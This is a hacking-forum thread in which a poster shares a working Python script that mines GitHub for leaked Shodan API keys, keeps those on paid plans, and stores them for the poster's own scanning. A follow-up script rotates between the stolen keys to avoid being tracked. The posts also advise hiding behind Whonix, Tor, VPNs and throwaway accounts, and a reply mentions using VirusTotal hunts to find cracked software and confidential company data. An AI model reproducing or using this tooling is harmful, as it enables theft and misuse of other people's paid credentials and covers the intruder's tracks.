Scraping Shodan Keys
#1
Hello all! This will be a quick run-through of a technique for scraping all the Shodan keys you could ever need! Using Shodan is a good way to stay anonymous when port-scanning targets as your machine will never actually have to touch any host during active reconnaissance. As always, I suggest using this technique through Whonix as it provides a good way to make sure all your actions are hidden in Tor. Note: all necessary links will be provided at the end of the post. I will also provide a basic script for scraping the keys ;-)

First and foremost, this technique requires a Github key. I DON'T suggest you use an account you created in the clear, but it's your choice. I DO suggest you use your Whonix workstation (you are using Whonix, aren't you?) to create an account. To do so, use a VPN utilizing TCP specifically (Tor doesn't support UDP). This can either be paid for with cryptocurrency, or my free suggestion, pick a VPN from the list on VPN Gate, connect to it, then create an account on Protonmail which is necessary for creating a Github account. Then proceed to make your Github. Note, creating these accounts on Tor-Browser probably won't work, but I haven't tested it myself. Activate your account, then generate an API key!

Now that you have your Github key, you're all set to start scraping! A quick rundown of the script I'm providing will follow. Firstly it will do a code search using the API which will provide a list of repositories. It will then search the repository for any variables denoting a Shodan API key, then extract it. It will check to see if this key is valid, make sure it isn't a key with too few maximum credits (don't worry, you'll find plenty after a while with so many credits you won't know what to do with them, trust me), then it will add that key to the file you provide. Once it's done scraping, either once it's out of repositories or at a Control+C, it'll remove all duplicate keys.

I suggest you let this script run it's course as it does take a while to start finding good keys, but believe me it's worth it in the long run. A good Shodan key is a wonderful tool in your future hacking endeavors!

Here's the code, you'll need to install Shodan and PyGithub using pip to run it. You need a Github API key, then a file path for scraped keys as your parameters when running the script.

Code:
import sys      
                                                                                                                                
from shodan import Shodan          
from github import Github                
                                          
                                          
def remove_duplicates(shodan_path):
    print('Removing duplicates...')      
                                          
    lines = []                            
    with open(shodan_path, 'r+') as f:  
        lines = f.readlines()            
        s = set(lines)                                                              
        lines = list(s)                                                            
                                          
    with open(shodan_path, 'w') as f:    
        for line in lines:        
            f.write(line)        

                                                                                    
def test_key(key):                                                                  
    try:                                  
        shodan_api = Shodan(key)          
        info = shodan_api.info()  
                                          
        if info['plan'] == 'dev' :        
            print("\n - Dev key found, skipping...\n")                              
        elif info['plan'] == 'basic':
            print("\n - Basic key found, skipping...\n")                            
        elif info['plan'] == 'oss':
            print("\n - OSS key found, skipping...\n")                              
        else:                            
            with open(shodan_path, 'a+') as f:
                f.write(key + "\n")
                print("\n + Key Found: " + key)
    except:                              
        pass                              


key = sys.argv[1]                        
shodan_path = sys.argv[2]

print('Initializing Github API...')
api = Github(key)                        

print('Searching repos...')
repos = api.search_code('language:python shodan_api_key=')

try:                                      
    for repo in repos:
        repo_name = repo.repository.full_name
        print('Checking ' + repo_name)

        bytes_content = repo.decoded_content
        content = str(bytes_content, 'utf-8')
                                            
        lines = content.split("\n")

        key = ''                          
        for line in lines:
            original = line

            line = line.strip()
            line = line.lower()
            line = line.replace(' ', '')

            if 'shodan_api_key="' in line:
                split = original.split('"')
                key = split[1]

                if len(key) == 32:
                    test_key(key)

            elif "shodan_api_key='" in line:
                split = original.split("'")
                key = split[1]

                if len(key) == 32:
                    test_key(key)

except:                                  
    remove_duplicates(shodan_path)
else:                                    
    remove_duplicates(shodan_path)

Once you have your keys, I suggest you write a script that wraps around the Shodan API which will automatically cycle through keys as you scan, just to make it a little harder to track your actions ;-) Good luck out there and happy hacking!

Whonix: https://www.whonix.org/
VPN Gate: https://www.vpngate.net/en/
Tor Browser: https://www.torproject.org/download/
Protonmail: https://protonmail.com/
Github: https://github.com/
Reply
#2
Hello again! Just wrote up a quick little script that will rotate out a Shodan API object with a random key when given a keyfile! You just have to add this file to your working folder when coding an actual scanner, import it, then call generate() and it'll return an API object. Enjoy! :-)

Code:
import random

from shodan import Shodan


def generate(key_file):
    keys = None

    with open(key_file, 'r') as f:
        lines = f.readlines()
        index = 0

        for line in lines:
            lines[index] = lines[index].strip()
            index = index + 1

        keys = lines

    key = random.choice(keys)
    api = Shodan(key)

    return api
Reply
#3
Good post Epoch. I'm somewhat surprised you can find shodan API keys on github. What's a typical rate you find keys? Like 2-3 an hour or something like that?
Reply
#4
Oh yeah, you'd be surprised what you can find sitting around where people don't expect you to look! I honestly never timed it, but I'd say I start getting good keys (6000+ query credits) in about 10 minutes or so? It takes the script a full run in like 45 minutes to an hour, and once it's fully run I end up with 5-10 good keys in my bank. I've been doing this for a while, and every month or so you'll find another good key to add to your key file.

Like I said, so many keys you won't know what to do with them ;-)

Keep in mind, I have no concept of time when I'm working, so I'm probably low balling how long it takes, but the wait is well worth it. Especially since you can just let it run in the background while doing other things.
Reply
#5
Not bad! Think I'll apply this myself and try to find Censys keys as well. And maybe some other services too.
Reply
#6
It is very interesting. If you have a Virustotal account and can run Retrohunts or Livehunts you can find also pretty interesting stuff there.

Some tools like Burpsuite cracked, confidential company information, new malware from APTs and so on.

What i am wondering is why would you use all that OPSEC stuff to protect yourself?!

The API does not do anything illegal. It is just searching the GITHUB repository for a specific variable and its value.

For just executing the script you do not need that OPSEC, i believe but maybe you can explain a bit?!

If you have the keys and start using them, then it requires OPSEC.
Reply